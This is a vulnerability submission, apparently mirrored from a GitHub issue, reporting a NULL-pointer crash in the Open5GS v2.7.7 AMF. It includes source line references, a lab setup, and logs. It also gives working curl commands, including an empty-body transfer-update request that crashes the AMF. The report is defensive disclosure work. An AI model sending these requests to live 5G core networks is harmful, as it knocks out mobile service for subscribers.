Submit #804303: Open5GS AMF v2.7.7 Denial of Service

### Open5GS Release, Revision, or Tag

v2.7.7

### Description

AMF crashes when it receives an empty-body
`POST /namf-comm/v1/ue-contexts/{ueContextId}/transfer-update`
for a valid `ueContextId`, after the same UE has first gone through a normal
`/transfer` request that sets
`amf_ue->amf_ue_context_transfer_state = UE_CONTEXT_TRANSFER_OLD_AMF_STATE`.

This is distinct from the already documented
`unknown ueContextId` crash on the same route. Here, the handler reaches a
valid `amf_ue`, but `recvmsg->UeRegStatusUpdateReqData` remains `NULL` for the
empty request body. `amf_namf_comm_handle_registration_status_update_request()`
then dereferences `UeRegStatusUpdateReqData->transfer_status` without a NULL
check at open5gs/src/amf/namf-handler.c:1876.

Relevant code:

- open5gs/src/amf/namf-handler.c:1843
stores `recvmsg->UeRegStatusUpdateReqData` in a local pointer.
- open5gs/src/amf/namf-handler.c:1858
resolves the valid `ueContextId` to a live `amf_ue`.
- open5gs/src/amf/namf-handler.c:1866
verifies the transfer state.
- open5gs/src/amf/namf-handler.c:1876
dereferences `UeRegStatusUpdateReqData->transfer_status` unconditionally.

### Steps to reproduce

1. Start the Open5GS v2.7.7 Docker deployment and ensure the AMF SBI endpoint
is reachable. In my live setup on 2026-04-12 the AMF container was `amf`
and the SBI endpoint was `http://10.33.33.8:80`.
2. Register a real UE so AMF has a valid UE context. In my live setup I used:

```text
IMSI: 001011234567891
K: 00000000000000000000000000000000
OPC: 00000000000000000000000000000000
AMF: 8000
DNN: internet
S-NSSAI: SST=1, SD=1
```

3. Control case: set the old-AMF transfer state with a valid `transfer`
request, then send a valid `transfer-update` request. Both should succeed
and AMF should remain running:

```bash
curl --http2-prior-knowledge -m 8 -sS -i \
-X POST http://10.33.33.8/namf-comm/v1/ue-contexts/imsi-001011234567891/transfer \
-H 'content-type: application/json' \
--data '{"reason":"INIT_REG","accessType":"3GPP_ACCESS"}'

curl --http2-prior-knowledge -m 8 -sS -i \
-X POST http://10.33.33.8/namf-comm/v1/ue-contexts/imsi-001011234567891/transfer-update \
-H 'content-type: application/json' \
--data '{"transferStatus":"NOT_TRANSFERRED"}'
```

4. Malicious case: re-enter the same old-AMF transfer state with the valid
`transfer` request, then send an empty-body `transfer-update` request:

```bash
curl --http2-prior-knowledge -m 8 -sS -i \
-X POST http://10.33.33.8/namf-comm/v1/ue-contexts/imsi-001011234567891/transfer \
-H 'content-type: application/json' \
--data '{"reason":"INIT_REG","accessType":"3GPP_ACCESS"}'

curl --http2-prior-knowledge -m 8 -sS -i \
-X POST http://10.33.33.8/namf-comm/v1/ue-contexts/imsi-001011234567891/transfer-update \
-H 'content-type: application/json' \
--data ''
```

5. Check container state and logs:

```bash
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' amf
docker logs --tail 50 amf
```

### Logs

Control case:

```text
HTTP/2 200
{"regStatusTransferComplete":false}
```

```text
running 0
```

Malicious case:

```text
curl: (56) Recv failure: Connection reset by peer
```

```text
exited 139 2026-04-12T14:11:42.459050567Z
```

```text
04/12 14:04:44.056: [sbi] INFO: Setup NF EndPoint(addr) [10.33.33.9:80] (../lib/sbi/context.c:2111)
04/12 14:04:44.056: [sbi] INFO: [5ac5b314-3644-41f1-b7b4-21a7b4c43293] (NRF-profile-get) NF registered (../lib/sbi/nf-sm.c:81)
04/12 14:04:44.056: [sbi] INFO: [PCF] NFInstance associated [5ac5b314-3644-41f1-b7b4-21a7b4c43293] (../lib/sbi/context.c:2441)
04/12 14:04:44.056: [sbi] INFO: Setup NF EndPoint(fqdn) [pcf.open5gs.org:0] (../lib/sbi/context.c:2446)
04/12 14:04:44.056: [sbi] INFO: Setup NF EndPoint(addr) [10.33.33.10:80] (../lib/sbi/context.c:2446)
04/12 14:04:44.056: [sbi] INFO: [npcf-am-policy-control] NFService associated [5ac6293e-3644-41f1-b7b4-21a7b4c43293] (../lib/sbi/context.c:2109)
04/12 14:04:44.056: [sbi] INFO: Setup NF EndPoint(fqdn) [pcf.open5gs.org:0] (../lib/sbi/context.c:2111)
04/12 14:04:44.056: [sbi] INFO: Setup NF EndPoint(addr) [10.33.33.10:80] (../lib/sbi/context.c:2111)
04/12 14:04:44.056: [sbi] INFO: [npcf-smpolicycontrol] NFService associated [5ac629c0-3644-41f1-b7b4-21a7b4c43293] (../lib/sbi/context.c:2109)
04/12 14:04:44.056: [sbi] INFO: Setup NF EndPoint(fqdn) [pcf.open5gs.org:0] (../lib/sbi/context.c:2111)
04/12 14:04:44.056: [sbi] INFO: Setup NF EndPoint(addr) [10.33.33.10:80] (../lib/sbi/context.c:2111)
04/12 14:04:44.056: [sbi] INFO: [npcf-policyauthorization] NFService associated [5ac629fc-3644-41f1-b7b4-21a7b4c43293] (../lib/sbi/context.c:2109)
04/12 14:04:44.056: [sbi] INFO: Setup NF EndPoint(fqdn) [pcf.open5gs.org:0] (../lib/sbi/context.c:2111)
04/12 14:04:44.056: [sbi] INFO: Setup NF EndPoint(addr) [10.33.33.10:80] (../lib/sbi/context.c:2111)
04/12 14:08:41.515: [amf] INFO: gNB-N2 accepted[10.33.33.12]:40770 in ng-path module (../src/amf/ngap-sctp.c:113)
04/12 14:08:41.515: [amf] INFO: gNB-N2 accepted[10.33.33.12] in master_sm module (../src/amf/amf-sm.c:953)
04/12 14:08:41.531: [amf] INFO: [Added] Number of gNBs is now 1 (../src/amf/context.c:1277)
04/12 14:08:41.531: [amf] INFO: gNB-N2[10.33.33.12] max_num_of_ostreams : 10 (../src/amf/amf-sm.c:1000)
04/12 14:08:44.065: [amf] INFO: InitialUEMessage (../src/amf/ngap-handler.c:461)
04/12 14:08:44.065: [amf] INFO: [Added] Number of gNB-UEs is now 1 (../src/amf/context.c:2777)
04/12 14:08:44.065: [amf] INFO: RAN_UE_NGAP_ID[1] AMF_UE_NGAP_ID[1] TAC[1] CellID[0x10] (../src/amf/ngap-handler.c:622)
04/12 14:08:44.066: [amf] INFO: [suci-0-001-01-0000-0-0-1234567891] Unknown UE by SUCI (../src/amf/context.c:1912)
04/12 14:08:44.066: [amf] INFO: [Added] Number of AMF-UEs is now 1 (../src/amf/context.c:1688)
04/12 14:08:44.066: [gmm] INFO: Registration request (../src/amf/gmm-sm.c:1670)
04/12 14:08:44.066: [gmm] INFO: [suci-0-001-01-0000-0-0-1234567891] SUCI (../src/amf/gmm-handler.c:183)
04/12 14:08:44.068: [sbi] INFO: [454c6e9c-3644-41f1-a93f-e1505117bc41] Setup NF Instance [type:AUSF] (../lib/sbi/path.c:307)
04/12 14:08:44.110: [amf] INFO: Setup NF EndPoint(fqdn) [ausf.open5gs.org:0] (../src/amf/nausf-handler.c:130)
04/12 14:08:44.110: [amf] INFO: Setup NF EndPoint(addr) [10.33.33.4:80] (../src/amf/nausf-handler.c:130)
04/12 14:08:44.121: [sbi] INFO: [4568f3be-3644-41f1-bff0-3b335fd843b5] Setup NF Instance [type:UDM] (../lib/sbi/path.c:307)
04/12 14:08:44.131: [sbi] INFO: [4568f3be-3644-41f1-bff0-3b335fd843b5] Setup NF Instance [type:UDM] (../lib/sbi/path.c:307)
04/12 14:08:44.152: [amf] INFO: Setup NF EndPoint(fqdn) [udm.open5gs.org:0] (../src/amf/nudm-handler.c:361)
04/12 14:08:44.152: [amf] INFO: Setup NF EndPoint(addr) [10.33.33.5:80] (../src/amf/nudm-handler.c:361)
04/12 14:08:44.153: [sbi] INFO: [5ac5b314-3644-41f1-b7b4-21a7b4c43293] Setup NF Instance [type:PCF] (../lib/sbi/path.c:307)
04/12 14:08:44.173: [amf] INFO: Setup NF EndPoint(fqdn) [pcf.open5gs.org:0] (../src/amf/npcf-handler.c:143)
04/12 14:08:44.173: [amf] INFO: Setup NF EndPoint(addr) [10.33.33.10:80] (../src/amf/npcf-handler.c:143)
04/12 14:08:44.376: [gmm] INFO: [imsi-001011234567891] Registration complete (../src/amf/gmm-sm.c:3146)
04/12 14:08:44.376: [amf] INFO: [imsi-001011234567891] Configuration update command (../src/amf/nas-path.c:609)
04/12 14:08:44.376: [gmm] INFO: UTC [2026-04-12T14:08:44] Timezone[0]/DST[0] (../src/amf/gmm-build.c:551)
04/12 14:08:44.376: [gmm] INFO: LOCAL [2026-04-12T14:08:44] Timezone[0]/DST[0] (../src/amf/gmm-build.c:556)
04/12 14:08:44.376: [amf] INFO: [Added] Number of AMF-Sessions is now 1 (../src/amf/context.c:2798)
04/12 14:08:44.376: [gmm] INFO: UE SUPI[imsi-001011234567891] DNN[internet] LBO[0] S_NSSAI[SST:1 SD:0x1] smContextRef[NULL] smContextResourceURI[NULL] (../src/amf/gmm-handler.c:1419)
04/12 14:08:44.376: [gmm] INFO: V-SMF Instance [45a89546-3644-41f1-bcd4-3da7206b6e6f](LIST) (../src/amf/gmm-handler.c:1496)
04/12 14:08:44.376: [gmm] INFO: [45a89546-3644-41f1-bcd4-3da7206b6e6f] Setup NF Instance [type:SMF] (../src/amf/gmm-handler.c:1498)
04/12 14:08:44.376: [gmm] INFO: V-SMF Instance [45a89546-3644-41f1-bcd4-3da7206b6e6f] (../src/amf/gmm-handler.c:1508)
04/12 14:08:44.376: [gmm] INFO: V-SMF discovered in Non-Roaming or LBO-Roaming[0] (../src/amf/gmm-handler.c:1577)
04/12 14:08:44.376: [gmm] INFO: nsmf_pdusession [1:0x55d3225dc310:(nil)] (../src/amf/gmm-handler.c:1617)
04/12 14:08:44.406: [amf] INFO: Setup NF EndPoint(fqdn) [smf.open5gs.org:0] (../src/amf/nsmf-handler.c:140)
04/12 14:08:44.406: [amf] INFO: Setup NF EndPoint(addr) [10.33.33.6:80] (../src/amf/nsmf-handler.c:140)
04/12 14:08:44.429: [amf] INFO: [imsi-001011234567891:1:11][0:0:NULL] /nsmf-pdusession/v1/sm-contexts/{smContextRef}/modify (../src/amf/nsmf-handler.c:954)
/usr/local/bin/entrypoint.sh: line 10: 8 Segmentation fault (core dumped) open5gs-amfd "${@}"
```

### Expected behaviour

AMF should reject an empty `transfer-update` body with a normal client error
such as `400 Bad Request`, and the AMF process should remain running.

### Observed Behaviour

The TCP connection is reset, no HTTP error response is returned, and the AMF
process exits with code `139` due to a segmentation fault.

### eNodeB/gNodeB

UERANSIM gNB v3.2.7

### UE Models and versions

UERANSIM UE v3.2.7

• Source: ⚠️ https://github.com/open5gs/open5gs/issues/4402
• User: ZiyuLin (UID 93568)
• Submission: 04/14/2026 10:59 (3 months ago)
• Moderation: 04/30/2026 20:21 (16 days later)
• Status: Duplicate
• VulDB entry: 360352 [Open5GS up to 2.7.7 transfer-update ueContextId denial of service]
• Points: 0